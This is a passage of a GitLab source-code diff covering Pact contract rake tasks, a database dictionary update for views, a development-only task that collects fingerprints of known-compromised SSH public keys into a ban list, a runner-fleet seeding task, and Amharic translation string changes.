+ Provider::ContractSourceHelper.contract_location(requester: :rake, file_path: pact_helper_location),
pact_helper: "#{provider}/#{pact_helper_location}"
)
end
diff --git a/lib/tasks/contracts/pipelines.rake b/lib/tasks/contracts/pipelines.rake
index 55a7baa4539..13c973f1358 100644
--- a/lib/tasks/contracts/pipelines.rake
+++ b/lib/tasks/contracts/pipelines.rake
@@ -14,7 +14,7 @@ namespace :contracts do
pact_helper_location = "pact_helpers/project/pipelines/new/post_create_a_new_pipeline_helper.rb"
pact.uri(
- Provider::ContractSourceHelper.contract_location(:rake, pact_helper_location),
+ Provider::ContractSourceHelper.contract_location(requester: :rake, file_path: pact_helper_location),
pact_helper: "#{provider}/#{pact_helper_location}"
)
end
@@ -23,7 +23,7 @@ namespace :contracts do
pact_helper_location = "pact_helpers/project/pipelines/index/get_list_project_pipelines_helper.rb"
pact.uri(
- Provider::ContractSourceHelper.contract_location(:rake, pact_helper_location),
+ Provider::ContractSourceHelper.contract_location(requester: :rake, file_path: pact_helper_location),
pact_helper: "#{provider}/#{pact_helper_location}"
)
end
@@ -32,7 +32,7 @@ namespace :contracts do
pact_helper_location = "pact_helpers/project/pipelines/show/get_pipeline_header_data_helper.rb"
pact.uri(
- Provider::ContractSourceHelper.contract_location(:rake, pact_helper_location),
+ Provider::ContractSourceHelper.contract_location(requester: :rake, file_path: pact_helper_location),
pact_helper: "#{provider}/#{pact_helper_location}"
)
end
@@ -41,7 +41,7 @@ namespace :contracts do
pact_helper_location = "pact_helpers/project/pipelines/show/delete_pipeline_helper.rb"
pact.uri(
- Provider::ContractSourceHelper.contract_location(:rake, pact_helper_location),
+ Provider::ContractSourceHelper.contract_location(requester: :rake, file_path: pact_helper_location),
pact_helper: "#{provider}/#{pact_helper_location}"
)
end
diff --git a/lib/tasks/gitlab/db.rake b/lib/tasks/gitlab/db.rake
index f0264456201..9c92aa5eb28 100644
--- a/lib/tasks/gitlab/db.rake
+++ b/lib/tasks/gitlab/db.rake
@@ -407,7 +407,12 @@ namespace :gitlab do
Rails.application.eager_load!
tables = Gitlab::Database.database_base_models.flat_map { |_, m| m.connection.tables }
- classes = tables.index_with { [] }
+
+ views = Gitlab::Database.database_base_models.flat_map { |_, m| m.connection.views }
+
+ sources = tables + views
+
+ classes = sources.index_with { [] }
Gitlab::Database.database_base_models.each do |_, model_class|
model_class
@@ -421,12 +426,13 @@ namespace :gitlab do
version = Gem::Version.new(File.read('VERSION'))
milestone = version.release.segments[0..1].join('.')
- tables.each do |table_name|
- file = File.join(DB_DOCS_PATH, "#{table_name}.yml")
+ sources.each do |source_name|
+ file = dictionary_file_path(source_name, views)
+ key_name = "#{data_source_type(source_name, views)}_name"
table_metadata = {
- 'table_name' => table_name,
- 'classes' => classes[table_name]&.sort&.uniq,
+ key_name => source_name,
+ 'classes' => classes[source_name]&.sort&.uniq,
'feature_categories' => [],
'description' => nil,
'introduced_by_url' => nil,
@@ -438,12 +444,12 @@ namespace :gitlab do
existing_metadata = YAML.safe_load(File.read(file))
- if existing_metadata['table_name'] != table_metadata['table_name']
- existing_metadata['table_name'] = table_metadata['table_name']
+ if existing_metadata[key_name] != table_metadata[key_name]
+ existing_metadata[key_name] = table_metadata[key_name]
outdated = true
end
- if existing_metadata['classes'].difference(table_metadata['classes']).any?
+ if existing_metadata['classes'].sort != table_metadata['classes'].sort
existing_metadata['classes'] = table_metadata['classes']
outdated = true
end
@@ -455,6 +461,20 @@ namespace :gitlab do
end
end
+ private
+
+ def data_source_type(source_name, views)
+ return 'view' if views.include?(source_name)
+
+ 'table'
+ end
+
+ def dictionary_file_path(source_name, views)
+ sub_directory = views.include?(source_name) ? 'views' : ''
+
+ File.join(DB_DOCS_PATH, sub_directory, "#{source_name}.yml")
+ end
+
# Temporary disable this, see https://gitlab.com/gitlab-org/gitlab/-/merge_requests/85760#note_998452069
# Rake::Task['db:migrate'].enhance do
# Rake::Task['gitlab:db:dictionary:generate'].invoke if Rails.env.development?
diff --git a/lib/tasks/gitlab/db/lock_writes.rake b/lib/tasks/gitlab/db/lock_writes.rake
index a856aa77abc..212d60a7231 100644
--- a/lib/tasks/gitlab/db/lock_writes.rake
+++ b/lib/tasks/gitlab/db/lock_writes.rake
@@ -15,6 +15,7 @@ namespace :gitlab do
table_name: table_name,
connection: connection,
database_name: database_name,
+ with_retries: true,
logger: Logger.new($stdout),
dry_run: ENV['DRY_RUN'] == 'true'
)
@@ -39,6 +40,7 @@ namespace :gitlab do
table_name: table_name,
connection: connection,
database_name: database_name,
+ with_retries: true,
logger: Logger.new($stdout)
)
diff --git a/lib/tasks/gitlab/security/update_banned_ssh_keys.rake b/lib/tasks/gitlab/security/update_banned_ssh_keys.rake
new file mode 100644
index 00000000000..b3f8bb16ef9
--- /dev/null
+++ b/lib/tasks/gitlab/security/update_banned_ssh_keys.rake
@@ -0,0 +1,72 @@
+# frozen_string_literal: true
+# Update banned SSH keys from a Git repository
+#
+# This task:
+# - Reads banned SSH keys from a Git repository, and updates default key set at config/security/banned_ssh_keys.yml
+# - Stops uploading new keys if YAML file size is greater than 2 MB.
+# - Caution: The task adds all the files with suffix of .pub, and does NOT check the key's contents.
+#
+# @param git_url - Remote Git URL.
+# @param output_file - Update keys to an output file. Default is config/security/banned_ssh_keys.yml.
+#
+# @example
+# bundle exec rake "gitlab:security:update_banned_ssh_keys[https://github.com/rapid7/ssh-badkeys]"
+#
+MAX_CONFIG_SIZE = 2.megabytes.freeze
+
+namespace :gitlab do
+ namespace :security do
+ desc 'GitLab | Security | Update banned_ssh_keys config file from a remote Git repository'
+ task :update_banned_ssh_keys, [:git_url, :output_file] => :gitlab_environment do |_t, args|
+ require 'yaml'
+ require 'git'
+ require 'find'
+ require_relative '../../../../config/environment'
+ logger = Logger.new($stdout)
+ begin
+ exit 0 unless Rails.env.test? || Rails.env.development?
+ name = args.git_url.rpartition('/').last.delete_suffix('.git')
+ tmp_path = Dir.mktmpdir
+ logger.info "start to clone the git repository at #{tmp_path}/#{name}"
+ Git.clone(args.git_url, name, path: tmp_path)
+ logger.info "Git clone finished. Next, add bad keys to config/security/banned_ssh_keys.yml."
+
+ path = args.output_file || Rails.root.join('config/security/banned_ssh_keys.yml')
+ config_size = File.size?(path) || 0
+ exit 0 if config_size > MAX_CONFIG_SIZE
+
+ config = (YAML.load_file(path) if File.exist?(path)) || {}
+
+ Find.find("#{tmp_path}/#{name}") do |path|
+ next unless path.end_with?('.pub')
+
+ if config_size > MAX_CONFIG_SIZE
+ logger.info "banned_ssh_keys.yml has grown too large - halting execution"
+ break
+ end
+
+ logger.info "update bad SSH keys in #{path}"
+ keys = File.readlines(path, chomp: true)
+ keys.each do |key|
+ pub = Gitlab::SSHPublicKey.new(key)
+
+ type = pub.type.to_s
+ config[type] = [] unless config.key?(type)
+
+ next if config[type].include?(pub.fingerprint_sha256)
+
+ config[type].append(pub.fingerprint_sha256)
+ config_size += pub.fingerprint_sha256.size
+ end
+ end
+ rescue StandardError => e
+ logger.error "Exception: #{e.message}"
+ logger.debug e.backtrace
+ exit 1
+ end
+
+ logger.info "finish writing."
+ File.open(path, 'w') { |file| file.write(config.to_yaml) }
+ end
+ end
+end
diff --git a/lib/tasks/gitlab/seed/runner_fleet.rake b/lib/tasks/gitlab/seed/runner_fleet.rake
new file mode 100644
index 00000000000..c0b79269c75
--- /dev/null
+++ b/lib/tasks/gitlab/seed/runner_fleet.rake
@@ -0,0 +1,40 @@
+# frozen_string_literal: true
+
+# Seed database with:
+# 1. 2 root groups, one with 2 sub-groups and another with 1 sub-group
+# 1. 1 project in each of the sub-groups
+# 1. 1 instance runner, 1 shared project runner, and group/project runners in some groups/projects
+# 1. Successful and failed pipelines assigned to the first 5 available runners of each group/project
+# 1. 1 pipeline on one group runner with the remaining jobs
+#
+# @param username - user creating subgroups (i.e. GitLab admin)
+# @param registration_prefix - prefix used for the group, project, and runner names
+# @param runner_count - total number of runners to create (default: 40)
+# @param job_count - total number of jobs to create and assign to runners (default: 400)
+#
+# @example
+# bundle exec rake "gitlab:seed:runner_fleet[root, rf-]"
+#
+namespace :gitlab do
+ namespace :seed do
+ desc 'Seed groups with sub-groups/projects/runners/jobs for Runner Fleet testing'
+ task :runner_fleet,
+ [:username, :registration_prefix, :runner_count, :job_count] => :gitlab_environment do |_t, args|
+ timings = Benchmark.measure do
+ projects_to_runners = Gitlab::Seeders::Ci::Runner::RunnerFleetSeeder.new(
+ Gitlab::AppLogger,
+ username: args.username,
+ registration_prefix: args.registration_prefix,
+ runner_count: args.runner_count&.to_i
+ ).seed
+
+ Gitlab::Seeders::Ci::Runner::RunnerFleetPipelineSeeder.new(
+ projects_to_runners: projects_to_runners,
+ job_count: args.job_count&.to_i
+ ).seed
+ end
+
+ puts "Seed finished. Timings: #{timings}"
+ end
+ end
+end
diff --git a/lib/tasks/gitlab/tw/codeowners.rake b/lib/tasks/gitlab/tw/codeowners.rake
index ec2ea623e02..b3559bde988 100644
--- a/lib/tasks/gitlab/tw/codeowners.rake
+++ b/lib/tasks/gitlab/tw/codeowners.rake
@@ -78,7 +78,7 @@ namespace :tw do
CodeOwnerRule.new('Tutorials', '@kpaizee'),
CodeOwnerRule.new('Utilization', '@fneill'),
CodeOwnerRule.new('Vulnerability Research', '@claytoncornell'),
- CodeOwnerRule.new('Workspace', '@lciutacu')
+ CodeOwnerRule.new('Organization', '@lciutacu')
].freeze
ERRORS_EXCLUDED_FILES = [
diff --git a/locale/am_ET/gitlab.po b/locale/am_ET/gitlab.po
index 598caf2511d..5687bece4ab 100644
--- a/locale/am_ET/gitlab.po
+++ b/locale/am_ET/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: am\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-10 06:44\n"
+"PO-Revision-Date: 2023-01-10 06:48\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -750,6 +750,9 @@ msgstr ""
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{key} is not a valid URL."
+msgstr ""
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr ""
@@ -822,6 +825,9 @@ msgstr "%{level_name} በ%{group_level_name} ቡድን á‹áˆµáŒ¥ አይáˆá‰€á‹µ
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr "የá•áˆ®áŒ€áŠ­á‰± fork áˆáŠ•áŒ­ á‹á‰…ተኛ እይታ ስላለዠ%{level_name} የተከለከለ áŠá‹á¢"
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -953,6 +959,12 @@ msgstr ""
msgid "%{ref} cannot be added: %{error}"
msgstr ""
+msgid "%{relation_type} epic does not exist."
+msgstr ""
+
+msgid "%{relation_type} epic is not present."
+msgstr ""
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] ""
@@ -970,6 +982,11 @@ msgstr ""
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
@@ -1008,9 +1025,6 @@ msgid_plural "%{selectedProjectsCount} projects"
msgstr[0] ""
msgstr[1] ""
-msgid "%{size} %{unit}"
-msgstr ""
-
msgid "%{size} GiB"
msgstr ""
@@ -1116,11 +1130,6 @@ msgstr ""
msgid "%{text} is available"
msgstr ""
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr ""
@@ -1541,7 +1550,7 @@ msgstr[0] ""
msgstr[1] ""
msgid "1 user"
-msgid_plural "%{num} users"
+msgid_plural "%d users"
msgstr[0] ""
msgstr[1] ""
@@ -1768,6 +1777,9 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
+msgid "A template for starting a new TYPO3 project"
+msgstr ""
+
msgid "A title is required"
msgstr ""
@@ -1912,9 +1924,6 @@ msgstr ""
msgid "AWS secret access key (Optional)"
msgstr ""
-msgid "AWS service error: %{error}"
-msgstr ""
-
msgid "Abort"
msgstr ""
@@ -1963,9 +1972,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied: %{error}"
-msgstr ""
-
msgid "Access expires"
msgstr ""
@@ -2125,7 +2131,7 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
-msgid "Activated on"
+msgid "Activated"
msgstr ""
msgid "Active"
@@ -2203,6 +2209,9 @@ msgstr ""
msgid "Add a collapsible section"
msgstr ""
+msgid "Add a comment"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2581,15 +2590,18 @@ msgstr ""
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr ""
-msgid "AdminArea|Billable users"
-msgstr ""
-
msgid "AdminArea|Blocked users"
msgstr ""
msgid "AdminArea|Bots"
msgstr ""
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr ""
@@ -2671,9 +2683,18 @@ msgstr ""
msgid "AdminArea|Stopping jobs failed"
msgstr ""
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr ""
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -2701,6 +2722,12 @@ msgstr ""
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr ""
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
@@ -2755,6 +2782,9 @@ msgstr ""
msgid "AdminSettings|Auto DevOps domain"
msgstr ""
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr ""
+
msgid "AdminSettings|CI/CD limits"
msgstr ""
@@ -2824,6 +2854,9 @@ msgstr ""
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr ""
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr ""
@@ -2911,6 +2944,9 @@ msgstr ""
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr ""
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr ""
@@ -2998,9 +3034,6 @@ msgstr ""
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr ""
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr ""
@@ -3046,6 +3079,9 @@ msgstr ""
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr ""
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr ""
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr ""
@@ -3292,7 +3328,7 @@ msgstr ""
msgid "AdminUsers|Is using seat"
msgstr ""
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
msgstr ""
msgid "AdminUsers|It's you!"
@@ -3337,6 +3373,9 @@ msgstr ""
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr ""
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr ""
@@ -3595,6 +3634,9 @@ msgstr ""
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr ""
@@ -4237,9 +4279,6 @@ msgstr ""
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr ""
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr ""
@@ -4408,15 +4447,6 @@ msgstr ""
msgid "An error occurred while loading projects."
msgstr ""
-msgid "An error occurred while loading the Jobs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Needs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr ""
-
msgid "An error occurred while loading the blob controls."
msgstr ""
@@ -4450,9 +4480,6 @@ msgstr ""
msgid "An error occurred while loading the notification settings. Please try again."
msgstr ""
-msgid "An error occurred while loading the pipeline."
-msgstr ""
-
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -4704,6 +4731,18 @@ msgstr ""
msgid "Append the comment with %{tableflip}"
msgstr ""
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr ""
@@ -4846,9 +4885,6 @@ msgstr ""
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr ""
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr ""
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr ""
@@ -4938,6 +4974,9 @@ msgstr ""
msgid "Applying suggestions..."
msgstr ""
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr ""
@@ -5078,6 +5117,9 @@ msgstr ""
msgid "Approvals are optional."
msgstr ""
+msgid "Approvals required"
+msgstr ""
+
msgid "Approvals|Section: %section"
msgstr ""
@@ -5629,6 +5671,9 @@ msgstr ""
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr ""
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr ""
@@ -5644,12 +5689,18 @@ msgstr ""
msgid "AuditStreams|Edit %{link}"
msgstr ""
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr ""
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr ""
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr ""
@@ -7221,9 +7272,93 @@ msgstr ""
msgid "Broadcast Messages"
msgstr ""
+msgid "BroadcastMessages|Add broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Banner"
+msgstr ""
+
+msgid "BroadcastMessages|Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Dark"
+msgstr ""
+
+msgid "BroadcastMessages|Dismissable"
+msgstr ""
+
+msgid "BroadcastMessages|Ends at"
+msgstr ""
+
+msgid "BroadcastMessages|Green"
+msgstr ""
+
+msgid "BroadcastMessages|Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light"
+msgstr ""
+
+msgid "BroadcastMessages|Light Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Light Green"
+msgstr ""
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light Red"
+msgstr ""
+
+msgid "BroadcastMessages|Message"
+msgstr ""
+
+msgid "BroadcastMessages|Notification"
+msgstr ""
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "BroadcastMessages|Red"
+msgstr ""
+
+msgid "BroadcastMessages|Starts at"
+msgstr ""
+
+msgid "BroadcastMessages|Target Path"
+msgstr ""
+
+msgid "BroadcastMessages|Target roles"
+msgstr ""
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr ""
+
+msgid "BroadcastMessages|Theme"
+msgstr ""
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr ""
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr ""
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr ""
+msgid "BroadcastMessages|Type"
+msgstr ""
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Your message here"
+msgstr ""
+
msgid "Browse Directory"
msgstr ""
@@ -7820,6 +7955,9 @@ msgstr ""
msgid "Cannot promote issue due to insufficient permissions."
msgstr ""
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr ""
@@ -7931,13 +8069,10 @@ msgstr ""
msgid "Change your password or recover your current one"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
-msgstr ""
-
-msgid "ChangeReviewer|Reviewer changed to %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
msgstr ""
-msgid "ChangeReviewer|Unassigned"
+msgid "ChangeReviewer|All reviewers were removed."
msgstr ""
msgid "ChangeTypeAction|Cherry-pick"
@@ -8220,6 +8355,9 @@ msgstr ""
msgid "Checkout|Country"
msgstr ""
+msgid "Checkout|Coupon code (optional)"
+msgstr ""
+
msgid "Checkout|Create a new group"
msgstr ""
@@ -8379,12 +8517,6 @@ msgstr ""
msgid "Child epic"
msgstr ""
-msgid "Child epic does not exist."
-msgstr ""
-
-msgid "Child epic doesn't exist."
-msgstr ""
-
msgid "Child issues and epics"
msgstr ""
@@ -8568,6 +8700,9 @@ msgstr ""
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr ""
+msgid "CiVariables|Trigger this manual action"
+msgstr ""
+
msgid "CiVariables|Type"
msgstr ""
@@ -8693,6 +8828,9 @@ msgstr ""
msgid "Click the link below to confirm your email address."
msgstr ""
+msgid "Click to expand"
+msgstr ""
+
msgid "Click to expand it."
msgstr ""
@@ -8795,12 +8933,18 @@ msgstr ""
msgid "Closed this %{quick_action_target}."
msgstr ""
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr ""
@@ -9466,21 +9610,6 @@ msgstr ""
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr ""
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -9969,6 +10098,9 @@ msgstr ""
msgid "Committed by"
msgstr ""
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr ""
@@ -10860,6 +10992,9 @@ msgstr ""
msgid "Continue to the next step"
msgstr ""
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr ""
@@ -11253,6 +11388,9 @@ msgstr ""
msgid "Country"
msgstr ""
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr ""
@@ -12149,6 +12287,9 @@ msgstr ""
msgid "CycleAnalytics|project dropdown filter"
msgstr ""
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -12173,6 +12314,9 @@ msgstr ""
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr ""
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr ""
@@ -12185,7 +12329,10 @@ msgstr ""
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
msgstr ""
msgid "DORA4Metrics|Date"
@@ -12206,6 +12353,12 @@ msgstr ""
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12227,6 +12380,12 @@ msgstr ""
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr ""
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12245,6 +12404,15 @@ msgstr ""
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr ""
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr ""
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr ""
@@ -12266,6 +12434,12 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12275,6 +12449,9 @@ msgstr ""
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr ""
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr ""
@@ -12290,9 +12467,6 @@ msgstr ""
msgid "DashboardProjects|Personal"
msgstr ""
-msgid "DashboardProjects|Trending"
-msgstr ""
-
msgid "Dashboards"
msgstr ""
@@ -13210,11 +13384,10 @@ msgstr ""
msgid "DeletionSettings|Keep deleted"
msgstr ""
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr ""
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr ""
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
+msgstr[1] ""
msgid "DeletionSettings|None, delete immediately"
msgstr ""
@@ -13279,6 +13452,9 @@ msgstr ""
msgid "Dependencies|Dependency path"
msgstr ""
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -13660,9 +13836,15 @@ msgstr ""
msgid "Deployment Target|Select the deployment target"
msgstr ""
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr ""
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -13678,6 +13860,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr ""
@@ -13761,6 +13949,12 @@ msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
msgstr[1] ""
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr ""
@@ -14030,7 +14224,7 @@ msgstr ""
msgid "DevOps adoption"
msgstr ""
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14255,6 +14449,9 @@ msgstr ""
